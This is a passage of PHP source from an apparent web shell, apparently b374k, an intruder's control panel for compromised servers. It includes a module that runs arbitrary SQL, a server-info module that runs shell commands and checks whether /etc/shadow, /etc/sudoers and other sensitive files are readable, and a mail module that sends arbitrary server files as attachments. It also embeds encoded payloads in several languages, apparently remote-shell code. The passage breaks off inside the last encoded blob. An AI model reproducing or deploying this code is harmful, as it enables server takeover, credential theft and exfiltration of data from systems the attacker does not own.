if(!function_exists('sql_close')){
	function sql_close($sqltype,$con){
		if($sqltype == 'mysql'){
			if(class_exists('mysqli')) return $con->close();
			elseif(function_exists('mysql_close')) return mysql_close($con);
		}
		elseif($sqltype == 'mssql'){
			if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
			elseif(function_exists('mssql_close')) return mssql_close($con);
		}
		elseif($sqltype == 'pgsql') return pg_close($con);
		elseif($sqltype == 'oracle') return oci_close($con);
		elseif($sqltype == 'sqlite3') return $con->close();
		elseif($sqltype == 'sqlite') return sqlite_close($con);
		elseif($sqltype == 'odbc') return odbc_close($con);
		elseif($sqltype == 'pdo') return $con = null;
	}
}

if(!function_exists('sql_get_supported')){
	function sql_get_supported(){
		$db_supported = array();

		if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
		if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
		if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
		if(function_exists("oci_connect")) $db_supported[] = 'oracle';
		if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
		if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
		if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
		if(class_exists("PDO")) $db_supported[] = 'pdo';

		return implode(",", $db_supported);
	}
}

if(isset($p['dbGetSupported'])){
	$res = sql_get_supported();
	if(empty($res)) $res = "error";
	output($res);
}
elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
	$type = $p['dbType'];
	$host = $p['dbHost'];
	$user = $p['dbUser'];
	$pass = $p['dbPass'];
	$port = $p['dbPort'];

	$con = sql_connect($type ,$host , $user , $pass);
	$res = "";

	if($con!==false){
		if(isset($p['dbQuery'])){
			$query = $p['dbQuery'];
			$pagination = "";
			if((isset($p['dbDB']))&&(isset($p['dbTable']))){
				$db = trim($p['dbDB']);
				$table = trim($p['dbTable']);
				$start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
				$limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;

				if($type=='mysql'){
					$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
				}
				elseif($type=='mssql'){
					$query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
				}
				elseif($type=='pgsql'){
					$query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
				}
				elseif($type=='oracle'){
					$limit = $start + $limit;
					$query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
				}
				elseif($type=='sqlite' || $type=='sqlite3'){
					$query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
				}
				else $query = "";

				$pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
								<span class='button' onclick=\"db_pagination('prev');\">prev</span>
								<span class='button' onclick=\"db_pagination('next');\">next</span>
								<input type='hidden' id='dbDB' value='".html_safe($db)."'>
								<input type='hidden' id='dbTable' value='".html_safe($table)."'>
								<input type='hidden' id='dbStart' value='".html_safe($start)."'>
								";
			}

			$querys = explode(";", $query);
			foreach($querys as $query){
				if(trim($query) != ""){
					$query_query = sql_query($type, $query, $con);
					if($query_query!=false){
						$res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>";
						if(!empty($pagination)){
							$res .= "<p>".$pagination."</p>";
						}
						if(!is_bool($query_query)){
							$res .= "<table class='border dataView sortable tblResult'><tr>";
							for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
								$res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
							$res .= "</tr>";
							while($rows = sql_fetch_data($type, $query_query)){
								$res .= "<tr>";
								foreach($rows as $r){
									if(empty($r)) $r = " ";
									$res .= "<td>".html_safe($r)."</td>";
								}
								$res .= "</tr>";
							}
							$res .= "</table>";
						}
					}
					else{
						$res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>";
					}
				}
			}
		}
		else{
			if(($type!='pdo') && ($type!='odbc')){
				if($type=='mysql') $showdb = "SHOW DATABASES";
				elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
				elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
				elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
				elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
				else $showdb = "SHOW DATABASES";

				$query_db = sql_query($type, $showdb, $con);

				if($query_db!=false) {
					while($db_arr = sql_fetch_data($type, $query_db)){
						foreach($db_arr as $db){
							if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
							elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
							elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
							elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
							elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
							else $showtbl = "";

							$res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
							$query_table = sql_query($type, $showtbl, $con);

							if($query_table!=false){
								while($tables_arr = sql_fetch_data($type, $query_table)){
									foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
								}
							}
							$res .= "</table>";
						}
					}
				}
			}
		}
	}
	if(!empty($res)) output($res);
	output('error');
}

$GLOBALS['module']['info']['id'] = "info";
$GLOBALS['module']['info']['title'] = "Info";
$GLOBALS['module']['info']['js_ontabselected'] = "";
$GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";

if(!function_exists('info_getinfo')){
	function info_getinfo(){
		$res = "";
		// server misc info
		$res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
		$res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";

		if(is_win()){
			foreach (range("A", "Z") as $letter){
				if(is_readable($letter.":\")){
					$drive = $letter.":";
					$res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
				}
			}
		}
		else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";

		$res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
		$access = array("python"=>"python -V",
						"perl"=>"perl -e \"print \$]\"",
						"python"=>"python -V",
						"ruby"=>"ruby -v",
						"node"=>"node -v",
						"nodejs"=>"nodejs -v",
						"gcc"=>"gcc -dumpversion",
						"java"=>"java -version",
						"javac"=>"javac -version"
						);

		foreach($access as $k=>$v){
			$version = execute($v);
			$version = explode("
", $version);
			if($version[0]) $version = $version[0];
			else $version = "?";

			$res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
		}

		if(!is_win()){
			$interesting = array(
			"/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
			"/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
			"/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
			"/etc/ssh/sshd_config",
			"/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
			"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
			"/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
			foreach($interesting as $f){
				if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>";
			}
		}
		$res .= "</table></div>";

		if(!is_win()){
			// cpu info
			if($i_buff=trim(read_file("/proc/cpuinfo"))){
				$res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
				$res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
				$i_buffs = explode("

", $i_buff);
				foreach($i_buffs as $i_buffss){
					$i_buffss = trim($i_buffss);
					if($i_buffss!=""){
						$i_buffsss = explode("
", $i_buffss);
						$res .= "<table class='dataView'>";
						foreach($i_buffsss as $i){
							$i = trim($i);
							if($i!=""){
								$ii = explode(":",$i);
								if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
							}
						}
						$res .= "</table>";
					}
				}
				$res .= "</div>";
			}

			// mem info
			if($i_buff=trim(read_file("/proc/meminfo"))){
				$res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
				$i_buffs = explode("
", $i_buff);
				$res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
				foreach($i_buffs as $i){
					$i = trim($i);
					if($i!=""){
						$ii = explode(":",$i);
						if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
					}
					else $res .= "</table><table class='dataView'>";
				}
				$res .= "</table></div>";
			}

			// partition
			if($i_buff=trim(read_file("/proc/partitions"))){
				$i_buff = preg_replace("/\ +/", " ", $i_buff);
				$res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
				$res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
				$i_buffs = explode("

", $i_buff);
				$res .= "<table class='dataView'><tr>";
				$i_head = explode(" ", $i_buffs[0]);
				foreach($i_head as $h) $res .= "<th>".$h."</th>";
				$res .= "</tr>";
				$i_buffss = explode("
", $i_buffs[1]);
				foreach($i_buffss as $i_b){
					$i_row = explode(" ", trim($i_b));
					$res .= "<tr>";
					foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>";
					$res .= "</tr>";
				}
				$res .= "</table>";
				$res .= "</div>";
			}
		}
		$phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
		foreach($phpinfo as $p=>$i){
			$res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>";
			ob_start();
			eval("phpinfo(".$i.");");
			$b = ob_get_contents();
			ob_end_clean();
			if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
				$body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
				$body = str_replace("<table", "<table class='boxtbl' ", $body);
				$body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
				$body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body);
				$body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body);

				$res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>";
			}
		}

		$res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
		return $res;
	}
}

if(isset($p['infoRefresh'])){
	output(info_getinfo());
}

$GLOBALS['module']['mail']['id'] = "mail";
$GLOBALS['module']['mail']['title'] = "Mail";
$GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
$GLOBALS['module']['mail']['content'] = "
<table class='boxtbl'>
<thead>
	<tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
</thead>
<tbody id='mailTBody'>
	<tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
	<tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
	<tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
</tbody>
<tfoot>
	<tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr>
	<tr>
		<td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span>
		<span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span>
		</td>
	</tr>
	<tr><td colspan='2'><span id='mailResult'></span></td></tr>
</tfoot>
</table>
";

if(!function_exists('send_email')){
	function send_email($from, $to, $subject, $msg, $attachment){
		$headers = "MIME-Version: 1.0
".$from;

		$rand = md5(time());
		$headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"

";

		$headers .= "--".$rand."
";
		$headers .= "Content-Type: text/html; charset=\"UTF-8\"
Content-Transfer-Encoding: 8bit

";
		$headers .= $msg."

";

		if(count($attachment)>0){
			foreach($attachment as $file){
				if(is_file($file)){
					$content = chunk_split(base64_encode(read_file($file)));
					$headers .= "--".$rand."
";
					$headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"
";
					$headers .= "Content-Transfer-Encoding: base64
";
					$headers .= "Content-Disposition: attachment

";
					$headers .= $content."

";
				}
			}
		}
		$headers .= "--".$rand."--
";
		if(@mail($to, $subject, "", $headers)) return true;
		return false;
	}
}

if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
	$mailFrom = trim($p['mailFrom']);
	$mailTo = trim($p['mailTo']);
	$mailSubject = trim($p['mailSubject']);
	$mailContent = trim($p['mailContent']);
	$mailAttachment = trim($p['mailAttachment']);
	$mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();

	if(empty($mailTo)) output("Please specify at least one recipient");
	if(!empty($mailFrom)){
		$mailFrom = "From: ".$mailFrom."
Reply-To: ".$mailFrom."
";
	}

	foreach($mailAttachment as $file){
		$file = trim($file);
		if(empty($file)) continue;
		if(!is_file($file)) output("No such file : ".$file);
	}

	if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo));
	output("Failed to send mail");
}

$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";

$GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G";
$GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc=";
$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aqiuNFx0xctZ+zBD7SOT9oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFIfzI6qbehMItaYb8E3U/NzAtnH7cCnO7YlAUmKuOWukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1fVYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vlEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k39eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnlYPLsfsANbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwIIfIpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1UlLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6yqp8beopn30tPIdEut1sTj+5gdlNSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN9mUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktIpRF2RHWmszSWNyGSlQ1HKwc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vhun9AX2DJD+nXlua7tLnFX197wDTIqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY7uMdRA9/r